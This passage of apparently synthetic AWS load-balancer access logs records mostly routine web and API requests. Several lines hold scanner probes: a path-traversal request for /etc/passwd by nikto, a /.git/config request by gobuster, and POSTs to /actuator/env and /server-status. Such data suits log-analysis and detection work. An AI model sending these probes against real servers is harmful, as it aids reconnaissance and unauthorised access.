Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d31d-d8aaac0a07d148939de0f53c" "staging-alb.example.com" "-" 5 2024-11-01T01:57:33.493982Z "forward" "-" "-" "120.44.146.69:8080" "200" "-" "-" +https 2024-11-01T01:57:33.818958Z prod-web-alb 176.252.180.190:19741 10.0.154.143:443 0.048334 0.240407 0.027208 302 302 828 1289 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d31d-a98c751078d54702a47a4ea8" "prod-web-alb.example.com" "-" 2 2024-11-01T01:57:33.818958Z "forward" "-" "-" "10.0.154.143:443" "302" "-" "-" +https 2024-11-01T01:57:35.437342Z staging-alb 238.248.131.220:19671 201.80.228.28:443 0.092425 0.748341 0.122736 200 200 455 8028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31f-be64260eb7fe46978d200c31" "-" "-" 9 2024-11-01T01:57:35.437342Z "forward" "-" "-" "201.80.228.28:443" "200" "-" "-" +https 2024-11-01T01:57:35.543300Z prod-web-alb 113.198.159.36:49334 10.0.136.195:443 0.057372 0.329755 0.004594 404 404 38 4756 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d31f-841e0021db104f5c88fbb845" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:35.543300Z "forward" "-" "-" "10.0.136.195:443" "404" "-" "-" +https 2024-11-01T01:57:37.451981Z prod-api-alb 45.155.205.19:19243 10.0.206.6:443 0.076474 0.286916 0.020096 403 403 830 14513 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d321-cf4b16586e664e33ac75f3ab" "-" "-" 1 2024-11-01T01:57:37.451981Z "forward" "-" "-" "10.0.206.6:443" "403" "-" "-" +https 2024-11-01T01:57:38.325922Z prod-api-alb 176.211.172.177:10135 10.0.144.254:443 0.040158 0.361989 0.000432 301 301 962 5762 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d322-0ca9aceb795949c0b73199e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:38.325922Z "forward" "-" "-" "10.0.144.254:443" "301" "-" "-" +https 2024-11-01T01:57:40.296628Z prod-web-alb 67.237.218.224:10132 10.0.21.176:443 0.097477 0.273361 0.078069 200 200 502 7112 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d324-f48f22cd158c4e25bd055a30" "prod-web-alb.example.com" "-" 6 2024-11-01T01:57:40.296628Z "forward" "-" "-" "10.0.21.176:443" "200" "-" "-" +https 2024-11-01T01:57:40.593540Z prod-api-alb 89.43.238.218:43755 10.0.184.247:443 0.049086 0.196781 0.089627 200 200 623 5462 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d324-3ce63222b6ad46fcaa44a659" "prod-api-alb.example.com" "-" 0 2024-11-01T01:57:40.593540Z "forward" "-" "-" "10.0.184.247:443" "200" "-" "-" +https 2024-11-01T01:57:41.178258Z prod-api-alb 210.184.165.22:44385 10.0.65.81:443 0.097100 0.278921 0.055006 404 404 316 6778 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d325-0a18308dcd2444258968a211" "prod-api-alb.example.com" "-" 5 2024-11-01T01:57:41.178258Z "forward" "-" "-" "10.0.65.81:443" "404" "-" "-" +http 2024-11-01T01:57:41.866199Z staging-alb 65.55.175.190:10607 164.252.225.221:80 0.093620 0.442981 0.063864 200 200 962 5860 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d325-b74269ff88fb4c5e94977e8d" "staging-alb.example.com" "-" 4 2024-11-01T01:57:41.866199Z "forward" "-" "-" "164.252.225.221:80" "200" "-" "-" +https 2024-11-01T01:57:42.776484Z prod-web-alb 193.27.228.48:14697 10.0.143.203:443 0.055050 0.285282 0.034961 403 403 340 2627 "GET /.git/config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d326-4641deaab0ac47c08e0bbced" "-" "-" 7 2024-11-01T01:57:42.776484Z "forward" "-" "-" "10.0.143.203:443" "403" "-" "-" +https 2024-11-01T01:57:44.438610Z prod-web-alb 46.121.68.100:25058 10.0.246.198:443 0.069455 0.225279 0.045792 301 301 520 437 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d328-ea556a63e38e4206bc93aa4b" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:44.438610Z "forward" "-" "-" "10.0.246.198:443" "301" "-" "-" +https 2024-11-01T01:57:44.995511Z prod-api-alb 252.82.163.75:12279 10.0.157.222:443 0.057281 0.152038 0.026551 200 200 130 547 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d328-45a4b8d7560344dbb8c2785b" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:44.995511Z "forward" "-" "-" "10.0.157.222:443" "200" "-" "-" +https 2024-11-01T01:57:45.133093Z prod-web-alb 73.185.14.152:16987 10.0.211.174:443 0.081156 0.483338 0.002587 200 200 666 3506 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d329-14880e395a0c466097ab2372" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:45.133093Z "forward" "-" "-" "10.0.211.174:443" "200" "-" "-" +https 2024-11-01T01:57:47.064650Z prod-api-alb 185.181.119.128:14358 10.0.86.183:443 0.003603 0.292389 0.017607 500 500 6 338 "POST /actuator/env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d32b-9867835cfcde4d52a6bf534a" "-" "-" 1 2024-11-01T01:57:47.064650Z "forward" "-" "-" "10.0.86.183:443" "500" "-" "-" +https 2024-11-01T01:57:49.029121Z staging-alb 239.72.153.181:57971 244.44.89.216:8080 0.142618 0.027239 0.056533 200 200 86 10370 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d32d-c60b8598855b461d8256daba" "staging-alb.example.com" "-" 7 2024-11-01T01:57:49.029121Z "forward" "-" "-" "244.44.89.216:8080" "200" "-" "-" +https 2024-11-01T01:57:50.895403Z prod-api-alb 137.139.247.42:52777 10.0.128.73:443 0.082736 0.476360 0.037529 200 200 135 13125 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d32e-09f895d8a1cf43a0ae1d791f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:57:50.895403Z "forward" "-" "-" "10.0.128.73:443" "200" "-" "-" +https 2024-11-01T01:57:52.830387Z prod-api-alb 67.255.25.113:20269 10.0.35.209:443 0.055428 0.412591 0.049773 200 200 564 6487 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d330-2bd680c5561a40d98d8fc661" "prod-api-alb.example.com" "-" 3 2024-11-01T01:57:52.830387Z "forward" "-" "-" "10.0.35.209:443" "200" "-" "-" +https 2024-11-01T01:57:53.408797Z prod-web-alb 216.168.211.159:55434 10.0.63.240:443 0.033278 0.475026 0.033751 200 200 649 6954 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d331-1cbdfe8d1f484eae93627f64" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:53.408797Z "forward" "-" "-" "10.0.63.240:443" "200" "-" "-" +https 2024-11-01T01:57:53.741265Z prod-api-alb 87.142.72.92:19284 10.0.66.66:443 0.083035 0.465518 0.068374 200 200 942 3803 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d331-30acc35fe2894dea909851c4" "prod-api-alb.example.com" "-" 1 2024-11-01T01:57:53.741265Z "forward" "-" "-" "10.0.66.66:443" "200" "-" "-" +https 2024-11-01T01:57:55.447287Z prod-api-alb 86.199.199.15:16548 10.0.103.13:443 0.054676 0.111272 0.011825 404 404 724 2659 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d333-4ac15f8b4568405e95a1267d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:55.447287Z "forward" "-" "-" "10.0.103.13:443" "404" "-" "-" +http 2024-11-01T01:57:57.425139Z staging-alb 82.66.189.56:14001 153.100.221.137:443 0.071176 0.382051 0.146474 200 200 29 10077 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d335-94d8aec05985451abdf460b5" "staging-alb.example.com" "-" 10 2024-11-01T01:57:57.425139Z "forward" "-" "-" "153.100.221.137:443" "200" "-" "-" +https 2024-11-01T01:57:58.813549Z staging-alb 152.219.74.216:25465 207.19.68.229:8080 0.063340 0.709883 0.135326 200 200 548 4652 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d336-8712aaaaa4c0407a8d55ca96" "staging-alb.example.com" "-" 0 2024-11-01T01:57:58.813549Z "forward" "-" "-" "207.19.68.229:8080" "200" "-" "-" +https 2024-11-01T01:58:00.201364Z prod-web-alb 111.118.195.134:63689 10.0.244.215:443 0.058775 0.469183 0.031808 302 302 610 3045 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d338-6d00e5d1f58e4b9fbbba17b1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:58:00.201364Z "forward" "-" "-" "10.0.244.215:443" "302" "-" "-" +https 2024-11-01T01:58:01.216124Z prod-web-alb 103.55.255.98:40417 10.0.110.183:443 0.061408 0.092198 0.067099 200 200 89 13362 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d339-bc4a6d4859e54f399a6625c2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:01.216124Z "forward" "-" "-" "10.0.110.183:443" "200" "-" "-" +http 2024-11-01T01:58:01.758995Z staging-alb 32.112.161.196:46897 237.134.209.195:443 0.093788 0.734699 0.073893 200 200 225 11563 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d339-9a29a9a64e8f4e6dbe8fd943" "staging-alb.example.com" "-" 0 2024-11-01T01:58:01.758995Z "forward" "-" "-" "237.134.209.195:443" "200" "-" "-" +https 2024-11-01T01:58:02.700856Z prod-web-alb 119.18.188.167:10479 10.0.42.33:443 0.033617 0.201471 0.045523 404 404 478 4999 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33a-9553cd7a660e40299a17c963" "prod-web-alb.example.com" "-" 4 2024-11-01T01:58:02.700856Z "forward" "-" "-" "10.0.42.33:443" "404" "-" "-" +https 2024-11-01T01:58:03.365869Z staging-alb 255.141.188.97:39980 21.132.183.192:80 0.055264 0.340473 0.098825 200 200 275 8720 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d33b-e93e3eae275941418a59c10f" "staging-alb.example.com" "-" 3 2024-11-01T01:58:03.365869Z "forward" "-" "-" "21.132.183.192:80" "200" "-" "-" +https 2024-11-01T01:58:04.711132Z prod-web-alb 239.48.113.201:63136 10.0.249.123:443 0.005850 0.483993 0.018139 404 404 485 603 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33c-48d683b010c6489b85bff6bf" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:04.711132Z "forward" "-" "-" "10.0.249.123:443" "404" "-" "-" +https 2024-11-01T01:58:04.994421Z prod-web-alb 168.144.231.9:20132 10.0.249.43:443 0.066331 0.024599 0.005109 200 200 13 3826 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33c-a533299104e24277848cb930" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:04.994421Z "forward" "-" "-" "10.0.249.43:443" "200" "-" "-" +https 2024-11-01T01:58:05.255888Z prod-web-alb 210.173.4.218:29516 10.0.200.154:443 0.068426 0.445069 0.072418 200 200 821 8806 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33d-8466c3fee46d4a649361345d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:05.255888Z "forward" "-" "-" "10.0.200.154:443" "200" "-" "-" +https 2024-11-01T01:58:06.309884Z prod-web-alb 200.251.19.240:33159 10.0.234.121:443 0.099637 0.047378 0.093910 200 200 470 6521 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33e-ca63b11afe25464590001347" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:06.309884Z "forward" "-" "-" "10.0.234.121:443" "200" "-" "-" +https 2024-11-01T01:58:06.593838Z prod-web-alb 203.205.28.203:39936 10.0.111.137:443 0.064228 0.048335 0.095290 404 404 249 3028 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33e-38bba34d4ec749f988c3041f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:06.593838Z "forward" "-" "-" "10.0.111.137:443" "404" "-" "-" +https 2024-11-01T01:58:07.927469Z prod-web-alb 157.94.134.151:24046 10.0.245.106:443 0.037666 0.326264 0.096760 200 200 508 2114 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33f-9eed9c84d84c4655b99a7d1b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:58:07.927469Z "forward" "-" "-" "10.0.245.106:443" "200" "-" "-" +https 2024-11-01T01:58:09.151576Z prod-web-alb 152.71.0.4:62220 10.0.128.146:443 0.083167 0.471362 0.037533 301 301 674 3053 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d341-3e0d619fb9594f138b74198a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:09.151576Z "forward" "-" "-" "10.0.128.146:443" "301" "-" "-" +https 2024-11-01T01:58:10.319111Z prod-api-alb 114.98.2.108:62974 10.0.156.184:443 0.050788 0.269640 0.009479 200 200 816 12694 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d342-4cb9022604cb44bd89ad0153" "prod-api-alb.example.com" "-" 1 2024-11-01T01:58:10.319111Z "forward" "-" "-" "10.0.156.184:443" "200" "-" "-" +https 2024-11-01T01:58:12.201163Z staging-alb 2.27.241.223:53483 95.182.25.145:443 0.041722 0.526218 0.079737 404 404 41 13205 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d344-7ca127121959420482fc80c1" "staging-alb.example.com" "-" 4 2024-11-01T01:58:12.201163Z "forward" "-" "-" "95.182.25.145:443" "404" "-" "-" +https 2024-11-01T01:58:12.818854Z prod-web-alb 110.218.170.236:56112 10.0.104.91:443 0.027435 0.145251 0.052648 200 200 0 14747 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d344-c34a80b45ad9465f982177a4" "prod-web-alb.example.com" "-" 10 2024-11-01T01:58:12.818854Z "forward" "-" "-" "10.0.104.91:443" "200" "-" "-" +https 2024-11-01T01:58:13.135348Z prod-web-alb 193.27.228.121:39867 10.0.161.221:443 0.059358 0.382320 0.060720 500 500 389 13572 "POST /server-status HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d345-4b36cd6c1a424214b96f620c" "-" "-" 9 2024-11-01T01:58:13.135348Z "forward" "-" "-" "10.0.161.221:443" "500" "-" "-" +https 2024-11-01T01:58:13.955489Z prod-web-alb 108.120.229.167:11499 10.0.4.242:443 0.014976 0.130285 0.028039 200 200 992 3863 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d345-cd9cecaa1e974a8ebc82415e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:58:13.955489Z "forward" "-" "-" "10.0.4.242:443" "200" "-" "-" +https 2024-11-01T01:58:15.429417Z staging-alb 209.194.162.230:19491 136.56.24.253:80 0.054243 0.608838 0.081000 404 404 876 2128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d347-3ad095e3ef6e4e7798b58628" "staging-alb.example.com" "-" 8 2024-11-01T01:58:15.429417Z "forward" "-" "-" "136.56.24.253:80" "404" "-" "-" +http 2024-11-01T01:58:15.880991Z staging-alb 210.71.77.203:14933 201.67.102.157:443 0.079431 0.122598 0.041545 200 200 422 3716 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d347-69cdcc37205d412484be3bf3" "staging-alb.example.com" "-" 10 2024-11-01T01:58:15.880991Z "forward" "-" "-" "201.67.102.157:443" "200" "-" "-" +https 2024-11-01T01:58:17.273362Z prod-web-alb 106.102.198.137:57838 10.0.41.108:443 0.013553 0.113892 0.080279 200 200 233 2841 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d349-5cd8b0d8d21648cfb378512a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:58:17.273362Z "forward" "-" "-" "10.0.41.108:443" "200" "-" "-" +https 2024-11-01T01:58:18.269852Z prod-web-alb 91.237.201.79:10792 10.0.204.182:443 0.035368 0.245617 0.014040 200 200 264 4700 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34a-fddb3215c3964845b8fbae7d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:18.269852Z "forward" "-" "-" "10.0.204.182:443" "200" "-" "-" +http 2024-11-01T01:58:18.678710Z staging-alb 208.88.119.158:51246 41.230.113.5:80 0.000753 0.370211 0.060683 200 200 416 13198 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d34a-5df2515abcfb44da80525e8a" "staging-alb.example.com" "-" 5 2024-11-01T01:58:18.678710Z "forward" "-" "-" "41.230.113.5:80" "200" "-" "-" +https 2024-11-01T01:58:19.420203Z prod-web-alb 23.228.117.144:54606 10.0.152.179:443 0.022208 0.106960 0.066866 301 301 820 12818 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34b-867eb857a1f24f97900da81c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:19.420203Z "forward" "-" "-" "10.0.152.179:443" "301" "-" "-" +https 2024-11-01T01:58:20.315221Z staging-alb 11.64.106.184:51552 95.1.133.80:443 0.149243 0.372053 0.051605 200 200 44 1285 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d34c-e32a31eb142846ee92f4a93c" "staging-alb.example.com" "-" 2 2024-11-01T01:58:20.315221Z "forward" "-" "-" "95.1.133.80:443" "200" "-" "-" +https 2024-11-01T01:58:22.148632Z staging-alb 182.127.79.234:41578 178.246.8.197:443 0.103756 0.221909 0.120083 302 302 286 12422 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d34e-7e288714c5844874b6cd902e" "staging-alb.example.com" "-" 8 2024-11-01T01:58:22.148632Z "forward" "-" "-" "178.246.8.197:443" "302" "-" "-" +https 2024-11-01T01:58:23.796774Z prod-web-alb 220.227.60.135:38482 10.0.251.175:443 0.028463 0.393274 0.049067 200 200 260 6343 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d34f-2c1930045e2148efb81b5f1f" 